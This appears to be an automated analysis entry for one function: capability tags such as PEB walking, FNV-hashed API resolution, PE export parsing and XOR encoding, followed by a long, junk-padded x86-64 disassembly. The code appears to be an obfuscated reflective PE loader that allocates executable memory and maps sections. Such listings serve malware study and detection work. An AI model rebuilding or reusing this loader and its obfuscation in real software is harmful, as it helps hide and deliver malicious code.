Function at 0x1405f60d7
Capabilities:
Access peb ldr_data
Check http status code
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
sal rax, 0xff
movzx rax, r8w
push rbp
dec rbp
sar bpl, 0x7a
push r13
push r14
cmp r11d, ecx
sub rsp, 0xd0
and al, r14b
mov rax, qword [0x14002c010]
xor rax, rsp
movzx r13d, bp
cmp si, 0x7d9b
bsf r14d, r12d
mov qword [rsp + 0xa0], rax
movsxd r13, dword [r8 + 0x3c]
lahf
mov eax, 0x5a4d
adc bp, 0x89d
btc bp, dx
lea r13, [r13 + r8]
rcr r14b, cl
shld bp, bx, 0x52
add bp, 0x734d
mov qword [rsp + 0x58], rdx
mov r14, r8
test bx, 0x533b
adc rbp, 0x356d7a89
mov rbp, rdx
mov dword [r11 - 0x50], 0x103
test r8b, bl
clc
cmp r14, rbx
cmp word [r8], ax
jmp 0x1405f616e
jne 0x1405f8d26
cmp dword [r13], 0x4550
jmp 0x1405f6181
jne 0x1405f8d26
mov eax, 0x2000
test word [r13 + 0x16], ax
je 0x1405f8d26
mov rax, qword [0x14002d1e8]
test r11b, 1
mov qword [r11 + 8], rbx
mov qword [r11 - 0x20], rsi
cmc
mov qword [r11 - 0x28], rdi
cmp bx, 0x7692
mov qword [r11 - 0x30], r12
clc
xor r12d, r12d
mov qword [r11 - 0x38], r15
shl r15b, 0x16
xor r15d, ecx
movabs r15, 0xf3cc56c0f8b4fb95
test rax, rax
jmp 0x1405f61d9
jne 0x1405f636d
mov rax, qword gs:[0x30]
test r15b, bl
sbb r11w, r8w
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
bt r11d, r9d
mov rsi, qword [rax + 0x10]
cwde
sub dil, r8b
nop
cmp rbx, r10
mov r11, qword [rsi + 0x30]
sbb ah, 0x5f
not al
movsxd rax, dword [r11 + 0x3c]
rcl edi, 0x2f
shr dil, 0x64
mov edi, dword [rax + r11 + 0x88]
test sil, 6
jmp 0x1405f6230
lea rdi, [rdi + r11]
jmp 0x1405f6239
cmp rdi, r11
jmp 0x1405f6241
je 0x1405f6307
mov ebx, dword [rdi + 0x18]
mov r10d, r12d
cmp r9d, 0x2f1b3f4b
clc
test ebx, ebx
jmp 0x1405f625c
je 0x1405f6307
mov r9d, dword [rdi + 0x20]
adc r8b, 0x2e
sal r8b, 0xa3
bts eax, ebx
lea r9, [r9 + r11]
nop dword [rax]
adc r8b, r13b
test bpl, 0xc6
shl dh, 0x4d
mov edx, dword [r9]
xor r8, rdx
adc r8b, bl
mov r8, r12
movsxd rax, r8d
lea rdx, [rdx + r11]
bsr ax, r8w
bt ax, ax
movzx eax, byte [rdx]
cmc
stc
test r11b, spl
test al, al
jmp 0x1405f62b1
je 0x1405f62f1
movsx ecx, al
lea rdx, [rdx + 1]
mov ah, ah
movzx eax, byte [rdx]
cmp esi, esp
stc
jmp 0x1405f62cb
xor rcx, r8
imul r8, rcx, 0x1000193
cmc
test al, al
jmp 0x1405f62dd
jne 0x1405f62b7
cmp r8, r15
jmp 0x1405f62eb
je 0x1405f6314
inc r10d
add r9, 4
cmc
jmp 0x1405f62fe
cmp r10d, ebx
jb 0x1405f6286
mov rsi, qword [rsi]
jmp 0x1405f630f
jmp 0x1405f6208
mov eax, dword [rdi + 0x24]
bts rcx, rbp
xadd r9b, r8b
and dl, 0x93
lea rax, [rax + r11]
btr rdx, rdx
sbb r8w, si
mov ecx, r10d
stc
bt r9d, edi
movzx edx, word [rax + rcx*2]
shl rax, cl
btc r8d, r10d
movsx rcx, r10w
mov ecx, dword [rdi + 0x1c]
add rcx, r11
btr ax, di
movsxd r9, r12d
mov eax, dword [rcx + rdx*4]
add rax, r11
mov qword [0x14002d1e8], rax
shrd rcx, r14, 0xc2
sal r9w, 0x16
btr rcx, r8
mov r8d, dword [r13 + 0x50]
sub edx, edx
movsx r9w, spl
not ch
xchg r9d, r9d
mov rcx, qword [rbp]
movsx r9, r14w
jmp 0x1405f638a
mov r9d, 0x3000
jmp 0x1405f6395
mov dword [rsp + 0x20], 4
call rax
mov qword [rsp + 0x50], rax
bt r15w, r12w
mov r15, rax
cmc
test rax, rax
jmp 0x1405f63b5
jne 0x1405f6453
lea eax, [r15 + 3]
mov r12, qword [rsp + 0xb8]
btc ebx, ebx
mov rdi, qword [rsp + 0xc0]
or cl, 0xfa
bt r15d, r10d
btc bx, dx
mov rsi, qword [rsp + 0xc8]
bsr r15w, r15w
sub r15b, 0xa9
btc rcx, 0xc9
mov rbx, qword [rsp + 0xf0]
test r11w, 0x26f6
xadd r15w, r15w
mov r15, qword [rsp + 0xb0]
movzx cx, r12b
movzx ecx, r13w
mov rcx, qword [rsp + 0xa0]
stc
xor rcx, rsp
jmp 0x1405f6428
call fcn.140024b00
add rsp, 0xd0
mov r14b, r10b
pop r14
movsxd rbp, r12d
xchg ebp, ebp
movsx rbp, ax
pop r13
movsx ebp, si
movzx bp, spl
pop rbp
jmp 0x1405f6452
ret
mov r10, qword [0x14002d1f0]
clc
test r10, r10
jmp 0x1405f6463
jne 0x1405f660b
mov rax, qword gs:[0x30]
xadd dil, r11b
mov rcx, qword [rax + 0x60]
cmovbe rdi, rcx
sar rax, 0x50
mov rax, qword [rcx + 0x18]
mov rsi, qword [rax + 0x10]
or rax, 0x1e644f31
bts r11w, sp
rol dil, cl
nop dword [rax]
cmp dh, 0x75
sal dil, 0xe3
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
btc edi, ebp
sar al, 0xd4
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
test r14w, 0xea3
add rdi, r11
test rbx, r14
cmp rdi, r11
jmp 0x1405f64d7
je 0x1405f65ad
mov ebx, dword [rdi + 0x18]
mov r10d, r12d
jmp 0x1405f64e8
test ebx, ebx
jmp 0x1405f64ef
je 0x1405f65ad
mov r9d, dword [rdi + 0x20]
rcr dl, 0x1c
cwde
cmovo dx, r11w
lea r9, [r9 + r11]
mov dl, 0x26
shld edx, r15d, 0x24
bswap dx
nop dword [rax]
movsx rdx, si
mov edx, dword [r9]
ror ax, 0x42
cbw
mov r8, r12
add rdx, r11
movzx eax, byte [rdx]
cmp r8d, esp
jmp 0x1405f6536
test al, al
jmp 0x1405f653d
je 0x1405f6592
movsx ecx, al
lea rdx, [rdx + 1]
btc rax, rax
shl rax, cl
movzx eax, byte [rdx]
test r8, r15
cmp bh, al
xor rcx, r8
cmp al, 0xeb
ror r8b, 0x24
imul r8, rcx, 0x1000193
stc
clc
test al, al
test al, al
jmp 0x1405f6574
jne 0x1405f6543
movabs rax, 0x2516c627897eb827
jmp 0x1405f6589
cmp r8, rax
je 0x1405f65ba
inc r10d
cmp r12b, 0x45
stc
add r9, 4
stc
cmp r10d, ebx
jmp 0x1405f65a7
jb 0x1405f651b
mov rsi, qword [rsi]
jmp 0x1405f65b5
jmp 0x1405f64ad
mov eax, dword [rdi + 0x24]
sar r8b, cl
mov ecx, r10d
inc r8b
add rax, r11
cmp bx, 0x2c8
sbb r10, rax
xor r10b, sil
movzx edx, word [rax + rcx*2]
movzx r10w, bpl
cmp edi, 0x4d6f05ec
mov ecx, dword [rdi + 0x1c]
inc r10b
cwde
lea rcx, [rcx + r11]
movsx ax, bpl
cmc
mov r10d, dword [rcx + rdx*4]
sub r8b, r8b
rcl r8, cl
add r10, r11
inc r9
mov qword [0x14002d1f0], r10
mov edx, dword [r13 + 0x54]
movsx eax, r11w
cmovs r9d, r13d
lea rax, [rsp + 0x9c]
cmp r14w, di
rol rcx, cl
and r9w, 0x2a07
mov r8d, dword [r13 + 0x50]
or cl, 0x8d
mov r9d, 0x40
mov cx, r11w
sal ch, 0x4c
mov rcx, qword [rbp]
test rcx, r9
sub r8d, edx
test dh, bl
cmc
add rdx, r15
jmp 0x1405f6655
mov qword [rsp + 0x20], rax
jmp 0x1405f665f
call r10
mov rax, qword [0x14002d188]
test rax, rax
jmp 0x1405f6671
jne 0x1405f67f7
mov rax, qword gs:[0x30]
adc dil, 0x88
shrd r11, r14, 0x26
mov rcx, qword [rax + 0x60]
or di, r10w
sal di, cl
sub r11w, 0x5795
mov rax, qword [rcx + 0x18]
shl sil, 3
add dil, 0x40
mov rsi, qword [rax + 0x10]
btr r11d, esp
adc ax, 0x7f95
nop word [rax + rax]
nop
mov r11, qword [rsi + 0x30]
rol ah, 0x49
movzx di, spl
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
lea rdi, [rdi + r11]
cmp r8b, 0x74
cmp rdi, r11
je 0x1405f6795
mov ebx, dword [rdi + 0x18]
mov r10d, r12d
cmp dil, 0x42
test ebx, ebx
jmp 0x1405f66f8
je 0x1405f6795
mov r9d, dword [rdi + 0x20]
rcl eax, 0xf7
add r9, r11
nop dword [rax]
xor r8w, sp
and al, 0xae
mov edx, dword [r9]
mov r8, r12
sub ax, r12w
add rdx, r11
dec ax
cmp r12w, ax
movzx eax, byte [rdx]
cmp r10b, 0xe
test al, al
jmp 0x1405f6737
je 0x1405f6780
movsx ecx, al
jmp 0x1405f6745
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
clc
stc
xor rcx, r8
imul r8, rcx, 0x1000193
cmp bh, 0x80
cmc
cmp bpl, bl
test al, al
jne 0x1405f673d
movabs rax, 0x8f6468996478c7bf
test sil, dil
cmp r15b, bl
cmp r8, rax
je 0x1405f67a2
inc r10d
add r9, 4
cmp r10d, ebx
jmp 0x1405f678f
jb 0x1405f6715
mov rsi, qword [rsi]
jmp 0x1405f679d
jmp 0x1405f66be
mov eax, dword [rdi + 0x24]
mov r9, rsi
bsf r9d, r8d
not dx
lea rax, [rax + r11]
mov ecx, r10d
movzx r8d, ax
xadd dl, r9b
bts r9w, r8w
movzx edx, word [rax + rcx*2]
and ah, ah
rcl r8b, 0xe3
mov ecx, dword [rdi + 0x1c]
lea rcx, [rcx + r11]
mov eax, dword [rcx + rdx*4]
dec ch
stc
rcr r9b, cl
add rax, r11
xchg r8d, r9d
mov cl, r8b
mov qword [0x14002d188], rax
mov cl, al
movsx r8d, r10w
xchg r9w, r9w
mov r9d, dword [r13 + 0x54]
setns dh
movzx cx, spl
cdq
mov r8, r14
cwd
movzx cx, r14b
jmp 0x1405f6813
mov rcx, qword [rbp]
movzx rdx, r14w
mov rdx, r15
mov qword [rsp + 0x20], r12
jmp 0x1405f6828
call rax
movzx eax, word [r13 + 0x14]
bsf r12d, esi
lea r12, [r13 + 0x18]
rol bpl, 0x19
bts rbp, rdi
jmp 0x1405f6844
sub r8d, r8d
lea r12, [r12 + rax]
mov ebp, r8d
cmp r11b, r14b
test bh, 0x45
cmp r8w, word [r13 + 6]
jmp 0x1405f685e
jae 0x1405f6ad7
nop word [rax + rax]
mov r10, qword [0x14002d188]
cmp cx, 0x1d7
clc
test r10, r10
jmp 0x1405f687f
jne 0x1405f6a26
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
shr eax, 0xc8
mov rax, qword [rcx + 0x18]
stc
mov r11b, 0x35
mov rsi, qword [rax + 0x10]
sub dil, r8b
nop word [rax + rax]
inc r11b
btr r11, r8
xchg r11b, r11b
mov r11, qword [rsi + 0x30]
rol dil, 0x3c
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmc
cmp r11b, 0xe
cmp rdi, r11
jmp 0x1405f68dd
je 0x1405f69ca
mov ebx, dword [rdi + 0x18]
cmp dx, 0x5f32
mov r10w, dx
mov r10d, r8d
test sp, bx
stc
cmp esi, r12d
test ebx, ebx
je 0x1405f69ca
mov r9d, dword [rdi + 0x20]
neg eax
bsf ax, bp
xadd ah, al
lea r9, [r9 + r11]
nop dword [rax]
ror ah, 0x79
mov edx, dword [r9]
lea rdx, [rdx + r11]
shrd ax, cx, 0xaa
clc
movzx eax, byte [rdx]
cmp bpl, al
test al, al
jmp 0x1405f6936
je 0x1405f6999
nop dword [rax]
cmc
movsx ecx, al
bswap ax
lea rdx, [rdx + 1]
bsr eax, r14d
rol rax, cl
jmp 0x1405f6956
movzx eax, byte [rdx]
clc
cmc
xor rcx, r8
movzx r8, bp
inc r8d
cmp rcx, 0x3858538c
imul r8, rcx, 0x1000193
test al, al
jmp 0x1405f697a
jne 0x1405f6940
movabs rax, 0x8f6468996478c7bf
clc
cmp r8, rax
jmp 0x1405f6993
je 0x1405f69d7
inc r10d
or r8b, al
btr r8w, 0xbe
cmc
add r9, 4
test rdi, r13
rcr r8w, cl
cmp r13w, r13w
mov r8d, 0
stc
cmp r10d, ebx
jmp 0x1405f69c4
jb 0x1405f691c
mov rsi, qword [rsi]
jmp 0x1405f69d2
jmp 0x1405f68b9
mov eax, dword [rdi + 0x24]
cmp r9b, r13b
movzx ecx, bx
mov ecx, r10d
rcl r8b, 0x34
cmp dh, 0x7b
shl r9, cl
add rax, r11
movzx edx, word [rax + rcx*2]
sbb r8b, r15b
ror r10b, cl
shr r9b, 0
mov ecx, dword [rdi + 0x1c]
not r8b
sar r9b, 0xce
add rcx, r11
btr r8, 0xd8
mov r10d, dword [rcx + rdx*4]
neg dl
add r10, r11
sal rax, cl
mov qword [0x14002d188], r10
setae cl
mov eax, ebp
or cl, r13b
rcr r8b, 0xae
cdq
xor ebx, ebx
sub cl, sil
shr r9b, cl
mov qword [rsp + 0x20], rbx
lea rcx, [rax + rax*4]
add r8w, r14w
sal r9b, cl
mov rax, qword [rsp + 0x58]
mov r9b, 0xc0
movsx r8d, cx
sub dx, 0x52ca
mov r8d, dword [r12 + rcx*8 + 0x14]
bsr edx, edx
shld rdx, rbp, 0xd6
btr edx, r15d
mov edx, dword [r12 + rcx*8 + 0xc]
movsxd r9, r9d
bswap r9d
shr r9b, 0xed
lea r8, [r8 + r14]
movsx r9, cx
mov r9d, esi
jmp 0x1405f6a89
mov r9d, dword [r12 + rcx*8 + 0x10]
btc cx, 0x9d
movzx rcx, r13w
sal cx, 0xf2
add rdx, r15
movsxd rcx, r9d
jmp 0x1405f6aa9
mov rcx, qword [rax]
jmp 0x1405f6ab1
call r10
movzx eax, word [r13 + 6]
movzx r8w, r15b
inc ebp
bswap r8d
sal r8b, 0x5b
mov r8d, ebx
cmp ebp, eax
jmp 0x1405f6ad1
jb 0x1405f686a
mov rax, qword [0x14002d1e8]
test rax, rax
jne 0x1405f6c8f
mov rax, qword gs:[0x30]
rol dil, cl
sbb ecx, 0x40505006
rcr cl, 0x61
movabs rbp, 0xf3cc56c0f8b4fb95
cmp r8, 0x204a2807
shr sil, cl
sal ch, cl
mov rcx, qword [rax + 0x60]
ror r11, cl
cmovs r11, rax
mov rax, qword [rcx + 0x18]
mov rsi, qword [rax + 0x10]
sbb al, 0xc3
shr edi, cl
nop dword [rax]
mov r11, qword [rsi + 0x30]
cmp r10w, 0x552b
shr al, cl
movsxd rax, dword [r11 + 0x3c]
movzx di, dl
shld rdi, rcx, 0xed
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmp ch, 0x15
clc
cmp rdi, r11
jmp 0x1405f6b5c
je 0x1405f6c2b
mov ebx, dword [rdi + 0x18]
rol r10w, 0x3a
adc r10b, 0xb1
mov r10d, r8d
cmc
test ebx, ebx
je 0x1405f6c2b
mov r9d, dword [rdi + 0x20]
movzx dx, ah
sar edx, 0xbe
bts edx, r10d
lea r9, [r9 + r11]
movzx edx, cx
nop dword [rax]
cmc
xor dl, sil
and ah, 0x22
mov edx, dword [r9]
lea rdx, [rdx + r11]
shld eax, r12d, 0xe5
cwde
movzx eax, byte [rdx]
test al, al
je 0x1405f6bfd
nop dword [rax]
movsx ecx, al
movzx rax, bp
lea rdx, [rdx + 1]
movzx eax, ax
movzx eax, byte [rdx]
xor rcx, r8
btc r8w, r8w
imul r8, rcx, 0x1000193
clc
jmp 0x1405f6be2
test al, al
jmp 0x1405f6be9
jne 0x1405f6bb9
cmp r8, rbp
jmp 0x1405f6bf7
je 0x1405f6c36
inc r10d
mov r8d, 0x3c890b5a
movzx r8, si
bt r8d, 0x8a
add r9, 4
adc r8d, edx
mov r8d, 0
clc
cmp r10d, ebx
jmp 0x1405f6c25
jb 0x1405f6b9e
mov rsi, qword [rsi]
sub r8d, r8d
jmp 0x1405f6b2c
mov eax, dword [rdi + 0x24]
xor r9b, r13b
add rax, r11
not r9w
or r9d, 0x78901844
cmp r11d, r10d
mov ecx, r10d
clc
sar bpl, cl
movzx edx, word [rax + rcx*2]
movsxd r8, r10d
mov ecx, dword [rdi + 0x1c]
xchg r9b, al
sal bp, cl
add rcx, r11
and ah, 0xd6
adc ax, 0x6d84
sbb r8b, 0xd0
mov eax, dword [rcx + rdx*4]
rcr ebp, cl
adc ch, 0xd9
sub cl, cl
lea rax, [rax + r11]
cmp sil, 0x20
movzx rcx, r12w
mov qword [0x14002d1e8], rax
mov rbp, qword [rsp + 0x58]
movsx r9w, r11b
movzx r8w, dl
neg r8w
sub edx, edx
not cl
mov r9d, 0x3000
movzx r8w, r10b
mov dword [rsp + 0x20], 0x40
xchg cl, r8b
movzx ecx, dx
mov r8d, 0x370
mov ch, ch
mov rcx, qword [rbp]
jmp 0x1405f6cd0
call rax
mov r15, rax
clc
test rax, rax
jmp 0x1405f6cde
jne 0x1405f6ed2
mov rax, qword [0x14002d200]
test rax, rax
jmp 0x1405f6cf3
jne 0x1405f6ea7
mov rax, qword gs:[0x30]
bt ecx, 7
sbb dil, 0xb4
movabs rsi, 0xb27247cff1a8054c
mov rcx, qword [rax + 0x60]
xchg r11, rax
rcr r14b, 0x67
mov rax, qword [rcx + 0x18]
or r14d, esp
mov r14, qword [rax + 0x10]
xchg r11w, ax
nop dword [rax]
shl eax, 0x30
sbb ah, 0xab
bts ax, r8w
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
rcl ax, 0x70
jmp 0x1405f6d55
movsxd rax, dword [r11 + 0x3c]
rcr rdi, cl
mov edi, dword [rax + r11 + 0x88]
cmp r10b, cl
add rdi, r11
cmp spl, 0x39
cmp esp, r10d
cmp rdi, r11
je 0x1405f6e54
mov ebx, dword [rdi + 0x18]
jmp 0x1405f6d82
xor r10d, r10d
clc
test ebx, ebx
jmp 0x1405f6d8d
je 0x1405f6e54
mov r9d, dword [rdi + 0x20]
rol dx, 0x56
lea r9, [r9 + r11]
nop dword [rax]
movsx eax, ax
xor ah, 0xbb
sar rax, cl
mov edx, dword [r9]
bt rax, 0x36
mov ax, r14w
xor r8d, r8d
btc ax, 0xfd
add rdx, r11
movzx rax, bx
movzx eax, byte [rdx]
test r8w, r9w
test bpl, 0xfe
cmp ch, 0x7d
test al, al
jmp 0x1405f6ddf
je 0x1405f6e3b
movsx ecx, al
bsr eax, r10d
movzx eax, r15w
lea rdx, [rdx + 1]
bt rax, 0x45
cmp r14b, r13b
movzx ax, ch
movzx eax, byte [rdx]
clc
stc
cmc
xor rcx, r8
rol r8w, cl
cmc
movsx r8d, r14w
imul r8, rcx, 0x1000193
cmp esi, esi
jmp 0x1405f6e20
test al, al
jmp 0x1405f6e27
jne 0x1405f6de5
cmp r8, rsi
jmp 0x1405f6e35
je 0x1405f6e61
inc r10d
test bp, r8w
add r9, 4
cmp r10d, ebx
jmp 0x1405f6e4e
jb 0x1405f6daf
mov r14, qword [r14]
jmp 0x1405f6e5c
jmp 0x1405f6d44
mov eax, dword [rdi + 0x24]
bts r8w, r13w
rcl ch, 0x23
mov r8d, dword [rdi + 0x1c]
lea rax, [rax + r11]
sar dx, 0x18
cmp r9b, 0x35
add r8, r11
or dx, sp
movzx r9d, word [rax + r10*2]
shr cx, 0xb3
mov eax, dword [r8 + r9*4]
or edx, 0x4c906b21
bt dx, r14w
add rax, r11
mov qword [0x14002d200], rax
adc cl, 0x55
mov rdx, qword [rsp + 0x50]
inc rcx
ror r9b, 0xdd
mov r9d, 0x8000
mov rcx, qword [rbp]
stc
sub r8d, r8d
call rax
mov eax, 4
jmp 0x1405f6ecd
jmp 0x1405f63bf
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
xor dil, r9b
rcl cl, 0x1c
movsxd rax, dword [r14 + 0x3c]
bt di, r11w
neg r14d
mov r14, qword [rsp + 0x50]
mov si, r8w
clc
xor rdi, r13
add rax, r14
btr r11, 0xd7
mov qword [rsp + 0x88], 0
movsx esi, dx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x90], 0
cmc
mov eax, dword [r13 + 0xb0]
movsx si, dl
lea rax, [rax + r14]
clc
mov qword [rsp + 0x78], rax
sal r11, 0x85
xor ecx, r12d
mov eax, dword [r13 + 0x90]
xadd di, di
bsf r11, r13
sub cl, r12b
lea rax, [rax + r14]
movzx edi, sp
rcl si, cl
rol sil, 0x6c
mov qword [rsp + 0x80], rax
mov rax, qword gs:[0x30]
shr r11w, 0xc8
mov rcx, qword [rax + 0x60]
bt eax, 0xc0
movzx di, bpl
mov rax, qword [rcx + 0x18]
rol edi, cl
shl r11d, cl
sar r11b, cl
mov rsi, qword [rax + 0x10]
cmp r11w, dx
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
rcl rdi, cl
movsxd rax, dword [r11 + 0x3c]
bts rdi, r15
mov edi, dword [rax + r11 + 0x88]
cmp r11w, 0x157d
clc
add rdi, r11
cmp r9b, r12b
cmp rdi, r11
je 0x1405f708c
mov ebx, dword [rdi + 0x18]
clc
sub r10d, r10d
test sil, spl
test ebx, ebx
jmp 0x1405f6fe0
je 0x1405f708c
mov r9d, dword [rdi + 0x20]
lea r9, [r9 + r11]
sal edx, 3
shld dx, dx, 4
rcl ah, cl
nop dword [rax]
mov edx, dword [r9]
xor r8d, r8d
bts ax, r14w
setnp ah
lahf
lea rdx, [rdx + r11]
clc
not rax
movsx eax, di
movzx eax, byte [rdx]
clc
test al, al
jmp 0x1405f7024
je 0x1405f7073
movsx ecx, al
xadd ah, ah
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
clc
xor rcx, r8
cmp dl, spl
mov r8w, ax
imul r8, rcx, 0x1000193
jmp 0x1405f704e
test al, al
jmp 0x1405f7055
jne 0x1405f702a
movabs rax, 0x2290962a69d7b492
cmp r8, rax
jmp 0x1405f706d
je 0x1405f7094
inc r10d
cmp r11b, r15b
add r9, 4
clc
jmp 0x1405f7083
cmp r10d, ebx
jb 0x1405f6fff
mov rsi, qword [rsi]
jmp 0x1405f6fa2
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
sbb sil, 0x60
bt dx, r15w
and dh, bh
add rax, r11
test r13w, si
not rsi
movzx edi, di
add rcx, r11
movzx edx, word [rax + r10*2]
mov eax, dword [rcx + rdx*4]
lea rax, [rax + r11]
mov qword [rsp + 0x88], rax
rcr ax, 0xb
rcr ch, cl
add r11d, esi
mov rax, qword gs:[0x30]
movzx esi, ax
rcl rdi, cl
mov rcx, qword [rax + 0x60]
sbb dil, 0xe2
mov rax, qword [rcx + 0x18]
sal di, cl
shr r11d, 0x86
xadd edi, edi
mov rsi, qword [rax + 0x10]
sbb ax, 0x4d31
xor r11b, sil
nop dword [rax]
sal dil, cl
rcr dil, 0xae
xor r11w, sp
mov r11, qword [rsi + 0x30]
movzx edi, bp
movsxd rax, dword [r11 + 0x3c]
shld di, bp, 0xd4
mov edi, dword [rax + r11 + 0x88]
test esp, r15d
stc
add rdi, r11
test ebp, 0x41830749
jmp 0x1405f713b
cmp rdi, r11
jmp 0x1405f7143
je 0x1405f7226
mov ebx, dword [rdi + 0x18]
test rcx, 0x10176dcf
test dil, spl
xor r10d, r10d
test r9b, cl
test spl, 0x4c
cmp rbp, rax
test ebx, ebx
je 0x1405f7226
mov r9d, dword [rdi + 0x20]
add r9, r11
adc dx, r10w
btc dx, 0xe4
rcl rax, 0x20
nop dword [rax]
add rax, rsp
sbb edx, edi
bts dx, bx
mov edx, dword [r9]
sar rax, 0x12
xor r8d, r8d
cmovp ax, r15w
add rdx, r11
shl al, cl
movzx eax, si
test r8b, spl
movzx eax, byte [rdx]
test al, al
jmp 0x1405f71b3
je 0x1405f720d
movsx ecx, al
lea rdx, [rdx + 1]
bt ax, 0xc9
movsx ax, bpl
bt ax, ax
movzx eax, byte [rdx]
cmp r8w, 0x385
cmp dx, ax
xor rcx, r8
shr r8b, cl
imul r8, rcx, 0x1000193
cmc
test al, al
jmp 0x1405f71ef
jne 0x1405f71b9
movabs rax, 0x230c7094075cf7ac
jmp 0x1405f7204
cmp r8, rax
je 0x1405f7233
inc r10d
cmp al, r12b
add r9, 4
stc
cmp r10d, ebx
jmp 0x1405f7220
jb 0x1405f718f
mov rsi, qword [rsi]
jmp 0x1405f722e
jmp 0x1405f7111
mov eax, dword [rdi + 0x24]
add dl, 0x87
bt cx, 0xd5
mov ecx, dword [rdi + 0x1c]
clc
sal dl, cl
sbb dl, 0xfb
lea rax, [rax + r11]
stc
add rcx, r11
movzx edx, word [rax + r10*2]
movsx eax, si
mov eax, dword [rcx + rdx*4]
jmp 0x1405f7266
add rax, r11
cmp bp, 0x59b1
mov qword [rsp + 0x90], rax
movsxd rax, r14d
mov rax, qword [0x14002d188]
cmp dx, 0x5004
clc
stc
test rax, rax
jne 0x1405f73f8
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
shr r11b, cl
shrd rdi, rdx, 0xc3
adc sil, 0x5a
mov rax, qword [rcx + 0x18]
shrd si, ax, 0x49
movsxd rsi, ebp
shl di, 0xb
mov rsi, qword [rax + 0x10]
bswap ax
not rdi
nop dword [rax]
mov r11, qword [rsi + 0x30]
bswap ax
movsxd rax, dword [r11 + 0x3c]
movzx edi, r10w
mov edi, dword [rax + r11 + 0x88]
cmc
test eax, 0x44e06293
add rdi, r11
jmp 0x1405f72f0
cmp rdi, r11
jmp 0x1405f72f8
je 0x1405f73a9
mov ebx, dword [rdi + 0x18]
xor r10d, r10d
test ebx, ebx
jmp 0x1405f730b
je 0x1405f73a9
mov r9d, dword [rdi + 0x20]
clc
add r9, r11
rcr ax, 0xe8
and eax, 0x2a8d3f1e
nop dword [rax]
mov dx, 0x3f30
bsf dx, di
neg rax
mov edx, dword [r9]
shld ax, r8w, 0x89
sub r8d, r8d
sub al, 4
btc ax, 0x74
add rdx, r11
sal ah, cl
movzx eax, byte [rdx]
clc
test al, al
je 0x1405f7396
movsx ecx, al
lea rdx, [rdx + 1]
shr ax, cl
not rax
rcr ax, 0x69
movzx eax, byte [rdx]
xor rcx, r8
imul r8, rcx, 0x1000193
test al, al
jne 0x1405f7358
movabs rax, 0x8f6468996478c7bf
cmp r8, rax
jmp 0x1405f7390
je 0x1405f73b6
inc r10d
add r9, 4
test sil, r15b
cmp r10d, ebx
jb 0x1405f7334
mov rsi, qword [rsi]
jmp 0x1405f73b1
jmp 0x1405f72c7
mov eax, dword [rdi + 0x24]
sal r9b, 0x7d
mov ecx, dword [rdi + 0x1c]
add rax, r11
movzx r9d, ax
test dx, bp
rol dh, 0x54
add rcx, r11
mov edx, esi
movsx r9w, spl
movzx edx, word [rax + r10*2]
mov eax, dword [rcx + rdx*4]
shr dl, 0x3e
adc dx, bx
add rax, r11
mov qword [0x14002d188], rax
shr ch, 0xcc
mov edx, r11d
sbb ch, 0x84
mov rcx, qword [rbp]
btr rdx, r11
lea r8, [rsp + 0x68]
and dl, r12b
xadd dl, r9b
xor ebx, ebx
mov rdx, r15
mov qword [rsp + 0x20], rbx
movzx r9, di
movsxd r9, edi
mov r9, r8
lea r9d, [rbx + 0x30]
jmp 0x1405f7429
call rax
mov rax, qword [0x14002d188]
jmp 0x1405f743e
test rax, rax
jmp 0x1405f7446
jne 0x1405f75ee
mov rax, qword gs:[0x30]
sub edi, 0x1e816ce2
mov rcx, qword [rax + 0x60]
rcr eax, 0xb
test sil, 4
mov rax, qword [rcx + 0x18]
inc esi
movsx edi, r15w
clc
mov rsi, qword [rax + 0x10]
adc di, si
nop dword [rax]
nop dword [rax + rax]
rol r11b, cl
btr r11, r11
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
movsx rdi, bx
movzx di, dl
bt di, r10w
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
test ax, 0x7888
cmp rdi, r11
jmp 0x1405f74b7
je 0x1405f7595
mov ebx, dword [rdi + 0x18]
test sil, r8b
xor r10d, r10d
test ax, r13w
test ebx, ebx
jmp 0x1405f74d1
je 0x1405f7595
mov r9d, dword [rdi + 0x20]
add r9, r11
and eax, 0x2e982fdb
nop dword [rax]
rcr ah, 0x46
shr dx, 0x9b
mov edx, dword [r9]
adc rax, 0x359137d2
add ah, 0xcd
sub r8d, r8d
bt rax, rsi
add rdx, r11
btc rax, r10
shr ax, cl
bswap rax
movzx eax, byte [rdx]
test r10d, eax
jmp 0x1405f751d
test al, al
jmp 0x1405f7524
je 0x1405f756e
movsx ecx, al
sub al, bpl
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
stc
xor rcx, r8
imul r8, rcx, 0x1000193
clc
test al, al
jmp 0x1405f754a
jne 0x1405f752a
movabs rax, 0x8f6468996478c7bf
jmp 0x1405f7560
cmp r8, rax
jmp 0x1405f7568
je 0x1405f75a2
inc r10d
cmc
test ax, r13w
cmp dil, 0x13
add r9, 4
jmp 0x1405f7587
cmp r10d, ebx
jmp 0x1405f758f
jb 0x1405f74f1
mov rsi, qword [rsi]
jmp 0x1405f759d
jmp 0x1405f748b
mov eax, dword [rdi + 0x24]
ror r9w, 0x6e
stc
cmp spl, bl
mov ecx, dword [rdi + 0x1c]
rol dl, 0x72
cdq
sbb bpl, 0xb3
lea rax, [rax + r11]
xchg r9b, dl
lea rcx, [rcx + r11]
sbb dl, 0x59
bt r8w, r11w
movzx edx, word [rax + r10*2]
sar bpl, 0xce
mov eax, dword [rcx + rdx*4]
sar r8w, 0x7d
